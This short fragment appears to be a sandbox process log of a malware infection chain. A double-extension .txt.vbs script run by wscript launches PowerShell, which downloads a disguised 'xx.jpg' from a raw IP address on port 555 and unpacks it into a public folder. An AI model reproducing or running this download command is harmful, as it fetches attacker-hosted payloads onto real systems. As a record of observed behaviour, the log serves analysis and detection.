wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\54776tth.txt.vbs
2564powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command "Start-BitsTransfer -Source 'http://5.161.45.89:555/xx.jpg' -Destination 'C:\Users\Public\bbbb.zip'; Expand-Archive -Path 'C:\Users\Public\bbbb.zip' -DestinationPath 'C:\Users\Public\'"
2644